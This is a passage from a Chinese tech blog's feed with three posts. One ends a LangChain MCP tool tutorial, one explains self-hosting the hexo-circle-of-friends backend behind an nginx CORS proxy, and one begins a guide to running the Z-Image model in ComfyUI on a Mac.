class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br></pre></td><td class="code"><pre><span class="line">[</span><br><span class="line">    StructuredTool(</span><br><span class="line">        name=<span class="string">&#x27;add&#x27;</span>,</span><br><span class="line">        description=<span class="string">&#x27;Add two numbers&#x27;</span>,</span><br><span class="line">        args_schema=&#123;</span><br><span class="line">            <span class="string">&#x27;properties&#x27;</span>: &#123;</span><br><span class="line">                <span class="string">&#x27;a&#x27;</span>: &#123;<span class="string">&#x27;title&#x27;</span>: <span class="string">&#x27;A&#x27;</span>, <span class="string">&#x27;type&#x27;</span>: <span class="string">&#x27;integer&#x27;</span>&#125;,</span><br><span class="line">                <span class="string">&#x27;b&#x27;</span>: &#123;<span class="string">&#x27;title&#x27;</span>: <span class="string">&#x27;B&#x27;</span>, <span class="string">&#x27;type&#x27;</span>: <span class="string">&#x27;integer&#x27;</span>&#125;</span><br><span class="line">            &#125;,</span><br><span class="line">            <span class="string">&#x27;required&#x27;</span>: [<span class="string">&#x27;a&#x27;</span>, <span class="string">&#x27;b&#x27;</span>],</span><br><span class="line">            <span class="string">&#x27;title&#x27;</span>: <span class="string">&#x27;addArguments&#x27;</span>,</span><br><span class="line">            <span class="string">&#x27;type&#x27;</span>: <span class="string">&#x27;object&#x27;</span></span><br><span class="line">        &#125;,</span><br><span class="line">        response_format=<span class="string">&#x27;content_and_artifact&#x27;</span>,</span><br><span class="line">        coroutine=&lt;function convert_mcp_tool_to_langchain_tool.&lt;<span class="built_in">locals</span>&gt;.call_tool at <span class="number">0x110448e00</span>&gt;</span><br><span class="line">    ),</span><br><span class="line">    StructuredTool(</span><br><span class="line">        name=<span class="string">&#x27;multiply&#x27;</span>,</span><br><span class="line">        description=<span class="string">&#x27;Multiply two numbers&#x27;</span>,</span><br><span class="line">        args_schema=&#123;</span><br><span class="line">            <span class="string">&#x27;properties&#x27;</span>: &#123;</span><br><span class="line">                <span class="string">&#x27;a&#x27;</span>: &#123;<span class="string">&#x27;title&#x27;</span>: <span class="string">&#x27;A&#x27;</span>, <span class="string">&#x27;type&#x27;</span>: <span class="string">&#x27;integer&#x27;</span>&#125;,</span><br><span class="line">                <span class="string">&#x27;b&#x27;</span>: &#123;<span class="string">&#x27;title&#x27;</span>: <span class="string">&#x27;B&#x27;</span>, <span class="string">&#x27;type&#x27;</span>: <span class="string">&#x27;integer&#x27;</span>&#125;</span><br><span class="line">            &#125;,</span><br><span class="line">            <span class="string">&#x27;required&#x27;</span>: [<span class="string">&#x27;a&#x27;</span>, <span class="string">&#x27;b&#x27;</span>],</span><br><span class="line">            <span class="string">&#x27;title&#x27;</span>: <span class="string">&#x27;multiplyArguments&#x27;</span>,</span><br><span class="line">            <span class="string">&#x27;type&#x27;</span>: <span class="string">&#x27;object&#x27;</span></span><br><span class="line">        &#125;,</span><br><span class="line">        response_format=<span class="string">&#x27;content_and_artifact&#x27;</span>,</span><br><span class="line">        coroutine=&lt;function convert_mcp_tool_to_langchain_tool.&lt;<span class="built_in">locals</span>&gt;.call_tool at <span class="number">0x11244e980</span>&gt;</span><br><span class="line">    )</span><br><span class="line">]</span><br></pre></td></tr></table></figure><h4 id="第三步：创建Agent">第三步：创建Agent</h4><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">agent = create_agent(model=model, tools=tools)</span><br></pre></td></tr></table></figure><p>和之前的LangChain示例一样，我们将模型和工具传递给<code>create_agent</code>函数。不同的是，这里的工具来自MCP服务器。当然，我们可以在MCP工具的基础上去加其他的Function一起传入，都是OK的。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">tools.append(other_tools) <span class="comment"># 追加其他工具函数</span></span><br><span class="line">agent = create_agent(model=model, tools=tools)</span><br></pre></td></tr></table></figure><h4 id="第四步：异步调用">第四步：异步调用</h4><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">result = <span class="keyword">await</span> agent.ainvoke(</span><br><span class="line">    &#123;<span class="string">&quot;messages&quot;</span>: [&#123;</span><br><span class="line">        <span class="string">&quot;role&quot;</span>: <span class="string">&quot;user&quot;</span>,</span><br><span class="line">        <span class="string">&quot;content&quot;</span>: <span class="string">&quot;3 加 5 等于多少？然后乘以 12？&quot;</span></span><br><span class="line">    &#125;]&#125;</span><br><span class="line">)</span><br></pre></td></tr></table></figure><p>由于MCP客户端使用异步方式与服务器通信，我们需要使用<code>ainvoke</code>方法而不是<code>invoke</code>方法，同时需要在函数之前加上await。</p><h3 id="3-3-运行结果">3.3. 运行结果</h3><p>运行这个程序，你会看到类似这样的输出：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">3 加 5 等于 8，然后 8 乘以 12 等于 96。</span><br></pre></td></tr></table></figure><p>Agent成功地：</p><ol><li>理解了用户的数学问题</li><li>调用了<code>add</code>工具计算 3 + 5 = 8</li><li>调用了<code>multiply</code>工具计算 8 × 12 = 96</li><li>给出了完整的答案</li></ol><p>从日志中可以看到，日志里面打印出来了CallToolRequest，也就是我们的MCP客户端去请求调用了MCP服务端的服务，这些信息是Agent根据工具调用结果返回的，而不是根据自己的理解“算”出来的。</p><p><img src= "/img/loading.gif" data-lazy-src="https://img.musnow.top/i/2025/11/d023969a3fa57084f54404bea64a8d69.webp" alt="image.png"></p><h2 id="4-The-end">4. The end</h2><p>本文简单介绍了如何在LangChain里面使用MCP工具。</p><p>在实际项目中，你可以：</p><ul><li>将现有的Python功能函数封装成MCP工具，方便不同的Agent使用</li><li>使用第三方提供的MCP工具，有非常多开源的牛逼MCP工具，比如serena</li><li>构建自己的工具生态系统，比如对接公司内网系统OpenAPI的各类MCP工具</li></ul><p>本文到这里就结束啦！</p>]]></content>
    
    
    <summary type="html">本文介绍了如何在LangChain中集成和使用MCP（Model Context Protocol）工具，通过数学计算服务器的实际示例，详细讲解了MCP协议的概念、服务器创建、客户端配置以及Agent集成的完整流程。</summary>
    
    
    
    <category term="编程学习" scheme="https://blog.musnow.top/categories/%E7%BC%96%E7%A8%8B%E5%AD%A6%E4%B9%A0/"/>
    
    <category term="Agent智能体开发" scheme="https://blog.musnow.top/categories/%E7%BC%96%E7%A8%8B%E5%AD%A6%E4%B9%A0/Agent%E6%99%BA%E8%83%BD%E4%BD%93%E5%BC%80%E5%8F%91/"/>
    
    
    <category term="AI" scheme="https://blog.musnow.top/tags/AI/"/>
    
    <category term="Agent开发" scheme="https://blog.musnow.top/tags/Agent%E5%BC%80%E5%8F%91/"/>
    
  </entry>
  
  <entry>
    <title>【Hexo】简单记录如何在服务器上部署hexo-friend-article</title>
    <link href="https://blog.musnow.top/posts/3436193392/"/>
    <id>https://blog.musnow.top/posts/3436193392/</id>
    <published>2025-11-30T01:51:55.000Z</published>
    <updated>2025-12-06T03:51:36.000Z</updated>
    
    <content type="html"><![CDATA[<h2 id="说明">说明</h2><p>本站有一个<a href="https://blog.musnow.top/fcircle/">友链朋友圈</a>页面，使用的是<a href="https://github.com/Rock-Candy-Tea/hexo-circle-of-friends/">Rock-Candy-Tea/hexo-circle-of-friends</a>项目。这个项目会尝试解析你的hexo博客友链页面，并去扫描你的友链们的hexo博客，获取到他们最新的博客文章，展示一个汇总页面：</p><p><img src= "/img/loading.gif" data-lazy-src="https://img.musnow.top/i/2025/11/af4288e0d06f5bfc94970086ac545295.webp" alt="image.png"></p><p>但是从2025年11月24日开始，vercel的部署就一直处于失败状态，具体问题我提交了一个issue：<a href="https://github.com/Rock-Candy-Tea/hexo-circle-of-friends/issues/179">https://github.com/Rock-Candy-Tea/hexo-circle-of-friends/issues/179</a></p><h2 id="服务器部署">服务器部署</h2><p>既然vercel的问题解决不了，那就只能换服务器部署喽，不再白嫖了。</p><p>服务器部署的教程参考：<a href="https://fcircle-doc.yyyzyyyz.cn/docs/deployment/backend.html">https://fcircle-doc.yyyzyyyz.cn/docs/deployment/backend.html</a></p><p>首先需要在服务器上git克隆这个项目，这就不多描述了。</p><p>然后，在<a href="https://github.com/Rock-Candy-Tea/hexo-circle-of-friends/releases">https://github.com/Rock-Candy-Tea/hexo-circle-of-friends/releases</a>里面下载最新的二进制可执行文件，注意选择和你服务器架构相同的可执行文件，比如我的ubuntu服务器就是下载<code>linux-x86_64-unknown-linux-gnu.zip</code>这个文件。</p><p>将zip上传到服务器上，解压得到<code>fcircle_core</code>和<code>fcircle_api</code>这两个可执行文件，放到<code>hexo-circle-of-friends</code>项目的根目录下。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">~/code-tx/hexo-circle-of-friends</span><br><span class="line">❯ ls</span><br><span class="line">api             CHANGELOG.md    data_structures  fcircle_core          pyproject.toml    stop.sh            uv.lock</span><br><span class="line">api_dependence  core            db               fc_settings.yaml      README.md         tests              vercel.json</span><br><span class="line">Cargo.lock      css_rules.yaml  downloader       fc_settings.yaml.bak  requirements.txt  tools</span><br><span class="line">Cargo.toml      data.db         fcircle_api      logs                  start.sh          update_version.py</span><br></pre></td></tr></table></figure><p>搞定了之后，直接执行<code>start.sh</code>就可以运行项目了。</p><p>这个脚本会使用可视化的方式带你设置整个项目，首先是输入你的友链地址（比如本站的<code>https://blog.musnow.top/link/</code>），然后输入要绑定后端的端口号（选一个没被占用的端口就行了，默认的8000端口太常用了，不推荐）</p><p><img src= "/img/loading.gif" data-lazy-src="https://img.musnow.top/i/2025/11/f222471fd28e30cd80adafae78e4c8c8.webp" alt="image.png"></p><p>一切正常的话，后端服务就启动成功了，可以用如下命令检查一下是否在运行</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">❯ netstat -ntlp | grep 10001</span><br><span class="line">(Not all processes could be identified, non-owned process info</span><br><span class="line"> will not be shown, you would have to be root to see it all.)</span><br><span class="line">tcp        0      0 0.0.0.0:10001           0.0.0.0:*               LISTEN      2630423/./fcircle_a </span><br></pre></td></tr></table></figure><p>然后还可以测试一下是否能获取到数据</p><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">curl -v http://127.0.0.1:10001/all</span><br></pre></td></tr></table></figure><p>只要这个接口有返回json结果，那就是一切ok了。</p><hr><p>注意，上述的操作只是完成了基本的部署，如果你需要一些进阶的配置，比如配置AI简介生成的能力，还需要根据<a href="https://fcircle-doc.yyyzyyyz.cn/docs/configuration.html">https://fcircle-doc.yyyzyyyz.cn/docs/configuration.html</a>里面的教程，去修改配置文件，和对应的<code>.env</code>环境变量（比如配置AI的key），否则某些功能不会生效。</p><h2 id="反代设置">反代设置</h2><p>服务器部署完成之后，需要开放端口的防火墙，并设置反代。</p><p>这里需注意的是，自部署的版本反代里面需要加上正确的跨域请求头，否则会导致无法正常跨域访问（浏览器会拦截）</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">fcircle/:1  Access to fetch at &#x27;https://hexo-friend-article.musnow.top/all&#x27; from origin &#x27;https://blog.musnow.top&#x27; has been blocked by CORS policy: The &#x27;Access-Control-Allow-Origin&#x27; header contains multiple values &#x27;*, https://blog.musnow.top&#x27;, but only one is allowed. Have the server send the header with a valid value.</span><br></pre></td></tr></table></figure><p>以1panel的反代设置为例，找到设置好的反向代理，点击源文就可以看到nginx的原始配置文件</p><p><img src= "/img/loading.gif" data-lazy-src="https://img.musnow.top/i/2025/11/ebaab47ad8ec000caea190eda4dfc54d.webp" alt="image.png"></p><p>需把location修改成如下的设置</p><figure class="highlight nginx"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br></pre></td><td class="code"><pre><span class="line"><span class="section">location</span><span class="regexp"> ^~</span> / &#123;</span><br><span class="line">    <span class="attribute">proxy_pass</span> http://127.0.0.1:10001; </span><br><span class="line">    <span class="attribute">proxy_set_header</span> Host <span class="variable">$host</span>; </span><br><span class="line">    <span class="attribute">proxy_set_header</span> X-Real-IP <span class="variable">$remote_addr</span>; </span><br><span class="line">    <span class="attribute">proxy_set_header</span> X-Forwarded-For <span class="variable">$proxy_add_x_forwarded_for</span>; </span><br><span class="line">    <span class="attribute">proxy_set_header</span> REMOTE-HOST <span class="variable">$remote_addr</span>; </span><br><span class="line">    <span class="attribute">proxy_set_header</span> Upgrade <span class="variable">$http_upgrade</span>; </span><br><span class="line">    <span class="attribute">proxy_set_header</span> Connection <span class="variable">$http_connection</span>; </span><br><span class="line">    <span class="attribute">proxy_set_header</span> X-Forwarded-Proto <span class="variable">$scheme</span>; </span><br><span class="line">    <span class="attribute">proxy_set_header</span> X-Forwarded-Port <span class="variable">$server_port</span>; </span><br><span class="line">    <span class="attribute">proxy_http_version</span> <span class="number">1</span>.<span class="number">1</span>; </span><br><span class="line">    <span class="attribute">add_header</span> X-Cache <span class="variable">$upstream_cache_status</span>; </span><br><span class="line">    <span class="attribute">add_header</span> Cache-Control <span class="literal">no</span>-cache; </span><br><span class="line">    <span class="attribute">proxy_ssl_server_name</span> <span class="literal">off</span>; </span><br><span class="line">    <span class="attribute">proxy_ssl_name</span> <span class="variable">$proxy_host</span>; </span><br><span class="line">    <span class="attribute">add_header</span> Strict-Transport-Security <span class="string">&quot;max-age=31536000&quot;</span>; </span><br><span class="line"></span><br><span class="line">    <span class="comment"># 隐藏后端返回的CORS头，避免冲突</span></span><br><span class="line">    <span class="attribute">proxy_hide_header</span> Access-Control-Allow-Origin;</span><br><span class="line">    <span class="attribute">proxy_hide_header</span> Access-Control-Allow-Credentials;</span><br><span class="line"></span><br><span class="line">    <span class="comment"># 匹配musnow.top主域名+所有子域名</span></span><br><span class="line">    <span class="attribute">set</span> <span class="variable">$cors_origin</span> <span class="string">&quot;&quot;</span>;</span><br><span class="line">    <span class="attribute">if</span> (<span class="variable">$http_origin</span> <span class="regexp">~* &quot;^https?://(.*\.)?musnow\.top$&quot;)</span> &#123;</span><br><span class="line">        <span class="attribute">set</span> <span class="variable">$cors_origin</span> <span class="variable">$http_origin</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment"># 动态设置CORS头</span></span><br><span class="line">    <span class="attribute">add_header</span> Access-Control-Allow-Origin <span class="variable">$cors_origin</span>;</span><br><span class="line">    <span class="attribute">add_header</span> Access-Control-Allow-Credentials <span class="string">&quot;true&quot;</span>;</span><br><span class="line">    <span class="attribute">add_header</span> Access-Control-Allow-Methods <span class="string">&quot;GET, POST, OPTIONS, PUT, DELETE&quot;</span>;</span><br><span class="line">    <span class="attribute">add_header</span> Access-Control-Allow-Headers <span class="string">&quot;Origin, X-Requested-With, Content-Type, Accept, Authorization&quot;</span>;</span><br><span class="line"></span><br><span class="line">    <span class="comment"># 专门处理OPTIONS预检请求</span></span><br><span class="line">    <span class="attribute">if</span> (<span class="variable">$request_method</span> = OPTIONS) &#123;</span><br><span class="line">        <span class="attribute">add_header</span> Access-Control-Allow-Origin <span class="variable">$cors_origin</span>;</span><br><span class="line">        <span class="attribute">add_header</span> Access-Control-Allow-Credentials <span class="string">&quot;true&quot;</span>;</span><br><span class="line">        <span class="attribute">add_header</span> Access-Control-Allow-Methods <span class="string">&quot;GET, POST, OPTIONS, PUT, DELETE&quot;</span>;</span><br><span class="line">        <span class="attribute">add_header</span> Access-Control-Allow-Headers <span class="string">&quot;Origin, X-Requested-With, Content-Type, Accept, Authorization&quot;</span>;</span><br><span class="line">        <span class="attribute">add_header</span> Access-Control-Max-Age <span class="string">&quot;3600&quot;</span>; <span class="comment"># 预检结果缓存1小时</span></span><br><span class="line">        <span class="attribute">return</span> <span class="number">204</span>; <span class="comment"># 直接返回204，无需转发到后端</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>修改了以后，在博客页面确认能够请求成功，浏览器控制台没有报错，就OK了。</p><h2 id="The-end">The end</h2><p>有的时候免费的就是麻烦，vercel这部署的好好的突然就崩了，结果就是天天收到部署失败的邮件，又暂时没时间处理。</p><p>还是改成自己的服务器部署了，省事，后续没有遇到无法运行的bug也不用去考虑更新。如果继续用vercel，这个bug被修复之后我还得去更新一下vercel的配置才能恢复使用。</p><hr><p>另外，如果最开始和慕雪一样用的是github+vercel的方式部署的，转成服务器部署之后，要记得把github的action给disable掉，不然还是会一直执行action的。</p><p><img src= "/img/loading.gif" data-lazy-src="https://img.musnow.top/i/2025/11/c6bb3a754db1dd35b1e594d830b8f092.webp" alt="image.png"></p>]]></content>
    
    
    <summary type="html">vercel的部署最近开始失败了，不太清楚如何解决。所以简单记录如何在服务器上部署hexo-friend-article</summary>
    
    
    
    <category term="差生文具多" scheme="https://blog.musnow.top/categories/%E5%B7%AE%E7%94%9F%E6%96%87%E5%85%B7%E5%A4%9A/"/>
    
    <category term="博客建站" scheme="https://blog.musnow.top/categories/%E5%B7%AE%E7%94%9F%E6%96%87%E5%85%B7%E5%A4%9A/%E5%8D%9A%E5%AE%A2%E5%BB%BA%E7%AB%99/"/>
    
    
    <category term="博客建站" scheme="https://blog.musnow.top/tags/%E5%8D%9A%E5%AE%A2%E5%BB%BA%E7%AB%99/"/>
    
    <category term="Hexo" scheme="https://blog.musnow.top/tags/Hexo/"/>
    
  </entry>
  
  <entry>
    <title>【ConfyUI】在MacBook上用ConfyUI部署阿里Z-Image最新开源模型</title>
    <link href="https://blog.musnow.top/posts/5139052950/"/>
    <id>https://blog.musnow.top/posts/5139052950/</id>
    <published>2025-11-28T12:18:52.000Z</published>
    <updated>2025-11-28T14:53:25.000Z</updated>
    
    <content type="html"><![CDATA[<h2 id="引言">引言</h2><p>阿里巴巴通义实验室于2025.11.26开源了Z-Image图像生成模型，擅长写实摄影及中英文渲染。该系列包含多个版本，其中Turbo版已发布模型权重，Edit版和Base版即将上线。模型支持多模态输入，具备高精度语义理解能力，适用于广告、设计、内容创作等场景。开源版本可在ModelScope平台下载，为开发者提供灵活、高效的图像生成解决方案，推动AI视觉创作生态发展。</p><p>开源地址：<a href="https://modelscope.cn/models/Tongyi-MAI/Z-Image-Turbo/">https://modelscope.cn/models/Tongyi-MAI/Z-Image-Turbo/</a></p><p>可以直接在魔搭社区登录后，在线测试Z-Image模型文生图效果。本文介绍如何在mac上本地部署这个模型。注意：你的mac至少需要有32GB内存才能够部署Z-Image。</p><h2 id="下载ConfyUI">下载ConfyUI</h2><p>前往github：<a href="https://github.com/Comfy-Org/desktop">https://github.com/Comfy-Org/desktop</a>，下载最新的测试版本0.5.11的mac安装包（只有最新版本才能正常部署Z-Image）。可以用下面的两个地址直接下载安装</p><ul><li>Mac (Apple Silicon): <a href="https://download.comfy.org/mac/dmg/arm64">https://download.comfy.org/mac/dmg/arm64</a></li><li>Windows: <a href="https://download.comfy.org/windows/nsis/x64">https://download.comfy.org/windows/nsis/x64</a></li></ul><p>下载完成后，拖拽ComfyUI到Application文件夹即可安装完成。首次打开时，ComfyUI需要初始化python环境，请确保你的mac上安装了homebrew和uv，保证能够正常初始化环境。因为我的电脑上本来就有uv环境，所以整个初始化环节非常顺利。</p><p>具体的安装和初始化教程可以参考：<a href="https://docs.comfy.org/zh-CN/installation/desktop/macos">https://docs.comfy.org/zh-CN/installation/desktop/macos</a></p><p>前期的这些引导步骤全都选择默认就可以了，对于萌新来说没必要修改这些设置</p><p><img src= "/img/loading.gif" data-lazy-src="https://img.musnow.top/i/2025/11/ab3b46bbfd8624c1d7204f107f36c8b6.webp" alt="image.png"></p><p><img src= "/img/loading.gif" data-lazy-src="https://img.musnow.top/i/2025/11/44c3191f7bfd5815a880edcbdcdaf0ec.webp" alt="image.png"></p><p><img src= "/img/loading.gif" data-lazy-src="https://img.musnow.top/i/2025/11/4b30989733614d463c931acc4eff5a35.webp" alt="image.png"></p><p>这里有一个小点可以考虑修改，那就是这里的pypi安装镜像源，这里官方给的是错误的情况，会出现一个红x，请选择你当前网络环境中能够正常访问的镜像源来使用。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">PyPI 镜像</span><br><span class="line">阿里云：https://mirrors.aliyun.com/pypi/simple/</span><br><span class="line">腾讯云：https://mirrors.cloud.tencent.com/pypi/simple/</span><br><span class="line">中国科技大学：https://pypi.mirrors.ustc.edu.cn/simple/</span><br><span class="line">上海交通大学：https://pypi.sjtu.edu.cn/simple/</span><br><span class="line"></span><br><span class="line">Torch 镜像</span><br><span class="line">阿里云: https://mirrors.aliyun.com/pytorch-wheels/cu121/</span><br></pre></td></tr></table></figure><p><img src= "/img/loading.gif" data-lazy-src="https://img.musnow.top/i/2025/11/f142b8567094ba791941f7ed4cc772a9.webp" alt="image.png"></p><p>安装完成之后，就会进入桌面的UI页面，这就说明基本环境OK了</p><p><img src= "/img/loading.gif" data-lazy-src="https://img.musnow.top/i/2025/11/d142cfb26030da4293c3a8f00f0f1105.webp" alt="image.png"></p><h2 id="下载Z-Image模型并设置工作流">下载Z-Image模型并设置工作流</h2><p>根据文档：<a href="https://comfyanonymous.github.io/ComfyUI_examples/z_image/">https://comfyanonymous.github.io/ComfyUI_examples/z_image/</a>里面的教程，下载三个模型文件，分别放到对应的目录下：</p><ul><li>Text encoder file: <a href="https://huggingface.co/Comfy-Org/z_image_turbo/blob/main/split_files/text_encoders/qwen_3_4b.safetensors">qwen_3_4b.safetensors</a> (goes in ComfyUI/models/text_encoders/).</li><li>diffusion model file: <a href="https://huggingface.co/Comfy-Org/z_image_turbo/blob/main/split_files/diffusion_models/z_image_turbo_bf16.safetensors">z_image_turbo_bf16.safetensors</a> (goes in ComfyUI/models/diffusion_models/).</li><li>VAE: <a href="https://huggingface.co/Comfy-Org/z_image_turbo/blob/main/split_files/vae/ae.safetensors">ae.safetensors</a> the Flux 1 VAE if you don’t have it already (goes in ComfyUI/models/vae/)</li></ul><p>这个目录在mac上，默认是<code>~/Documents/ComfyUI/models</code>，找到这个目录，把下载的三个模型文件放入文件夹即可。</p><blockquote><p>这是一个默认的路径，如果你修改过，可以在<code>~/Library/Application Support/ComfyUI/extra_models_config.yaml</code>文件里面查看本地模型路径是哪一个</p><p><img src= "/img/loading.gif" data-lazy-src="https://img.musnow.top/i/2025/11/ddf9ce62ee467490b22a4511c7ff2bc4.webp" alt="image.png"></p></blockquote><h2 id="配置工作流">配置工作流</h2><p>使用需要配置ConfyUI的工作流，作为小白的我完全不会配置，直接抄作业！</p><p>把<a href="https://comfyanonymous.github.io/ComfyUI_examples/z_image/">https://comfyanonymous.github.io/ComfyUI_examples/z_image/</a>网站上的图片，拖拽到ConfyUI里面，就可以导入工作流了！</p><p><img src= "/img/loading.gif" data-lazy-src="https://img.musnow.top/i/2025/11/1165192aba26755af5241dc24ce3b7dd.webp" alt="image.png"></p><p>为了避免这个原始的网站失效，这里贴出来完整的json工作流配置，可以用这个json来导入。</p><details class="toggle"><summary class="toggle-button">完整工作流json配置（未修改）</summary><div class="toggle-content"><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span><span class="attr">&quot;id&quot;</span><span class="punctuation">:</span><span class="string">&quot;92112d97-bb64-4b44-86f2-ea5691ef8f6e&quot;</span><span class="punctuation">,</span><span class="attr">&quot;revision&quot;</span><span class="punctuation">:</span><span class="number">0</span><span class="punctuation">,</span><span class="attr">&quot;last_node_id&quot;</span><span class="punctuation">:</span><span class="number">27</span><span class="punctuation">,</span><span class="attr">&quot;last_link_id&quot;</span><span class="punctuation">:</span><span class="number">51</span><span class="punctuation">,</span><span class="attr">&quot;nodes&quot;</span><span class="punctuation">:</span><span class="punctuation">[</span><span class="punctuation">&#123;</span><span class="attr">&quot;id&quot;</span><span class="punctuation">:</span><span class="number">8</span><span class="punctuation">,</span><span class="attr">&quot;type&quot;</span><span class="punctuation">:</span><span class="string">&quot;VAEDecode&quot;</span><span class="punctuation">,</span><span class="attr">&quot;pos&quot;</span><span class="punctuation">:</span><span class="punctuation">[</span><span class="number">1209</span><span class="punctuation">,</span><span class="number">188</span><span class="punctuation">]</span><span class="punctuation">,</span><span class="attr">&quot;size&quot;</span><span class="punctuation">:</span><span class="punctuation">[</span><span class="number">210</span><span class="punctuation">,</span><span class="number">46</span><span class="punctuation">]</span><span class="punctuation">,</span><span class="attr">&quot;flags&quot;</span><span class="punctuation">:</span><span class="punctuation">&#123;</span><span class="punctuation">&#125;</span><span class="punctuation">,</span><span class="attr">&quot;order&quot;</span><span class="punctuation">:</span><span class="number">9</span><span class="punctuation">,</span><span class="attr">&quot;mode&quot;</span><span class="punctuation">:</span><span class="number">0</span><span class="punctuation">,</span><span class="attr">&quot;inputs&quot;</span><span class="punctuation">:</span><span class="punctuation">[</span><span class="punctuation">&#123;</span><span class="attr">&quot;localized_name&quot;</span><span class="punctuation">:</span><span class="string">&quot;Latent&quot;</span><span class="punctuation">,</span><span class="attr">&quot;name&quot;</span><span class="punctuation">:</span><span class="string">&quot;samples&quot;</span><span class="punctuation">,</span><span class="attr">&quot;type&quot;</span><span class="punctuation">:</span><span class="string">&quot;LATENT&quot;</span><span class="punctuation">,</span><span class="attr">&quot;link&quot;</span><span class="punctuation">:</span><span class="number">51</span><span class="punctuation">&#125;</span><span class="punctuation">,</span><span class="punctuation">&#123;</span><span class="attr">&quot;localized_name&quot;</span><span class="punctuation">:</span><span class="string">&quot;vae&quot;</span><span class="punctuation">,</span><span class="attr">&quot;name&quot;</span><span class="punctuation">:</span><span class="string">&quot;vae&quot;</span><span class="punctuation">,</span><span class="attr">&quot;type&quot;</span><span class="punctuation">:</span><span class="string">&quot;VAE&quot;</span><span class="punctuation">,</span><span class="attr">&quot;link&quot;</span><span class="punctuation">:</span><span class="number">45</span><span class="punctuation">&#125;</span><span class="punctuation">]</span><span class="punctuation">,</span><span class="attr">&quot;outputs&quot;</span><span class="punctuation">:</span><span class="punctuation">[</span><span class="punctuation">&#123;</span><span class="attr">&quot;localized_name&quot;</span><span class="punctuation">:</span><span class="string">&quot;图像&quot;</span><span class="punctuation">,</span><span class="attr">&quot;name&quot;</span><span class="punctuation">:</span><span class="string">&quot;IMAGE&quot;</span><span class="punctuation">,</span><span class="attr">&quot;type&quot;</span><span class="punctuation">:</span><span class="string">&quot;IMAGE&quot;</span><span class="punctuation">,</span><span class="attr">&quot;slot_index&quot;</span><span class="punctuation">:</span><span class="number">0</span><span class="punctuation">,</span><span class="attr">&quot;links&quot;</span><span class="punctuation">:</span><span class="punctuation">[</span><span class="number">16</span><span class="punctuation">]</span><span class="punctuation">&#125;</span><span class="punctuation">]</span><span class="punctuation">,</span><span class="attr">&quot;properties&quot;</span><span class="punctuation">:</span><span class="punctuation">&#123;</span><span class="attr">&quot;cnr_id&quot;</span><span class="punctuation">:</span><span class="string">&quot;comfy-core&quot;</span><span class="punctuation">,</span><span class="attr">&quot;ver&quot;</span><span class="punctuation">:</span><span class="string">&quot;0.3.75&quot;</span><span class="punctuation">,</span><span class="attr">&quot;Node name for S&amp;R&quot;</span><span class="punctuation">:</span><span class="string">&quot;VAEDecode&quot;</span><span class="punctuation">&#125;</span><span class="punctuation">,</span><span class="attr">&quot;widgets_values&quot;</span><span class="punctuation">:</span><span class="punctuation">[</span><span class="punctuation">]</span><span class="punctuation">&#125;</span><span class="punctuation">,</span><span class="punctuation">&#123;</span><span class="attr">&quot;id&quot;</span><span class="punctuation">:</span><span class="number">9</span><span class="punctuation">,</span><span class="attr">&quot;type&quot;</span><span class="punctuation">:</span><span class="string">&quot;SaveImage&quot;</span><span class="punctuation">,</span><span class="attr">&quot;pos&quot;</span><span class="punctuation">:</span><span 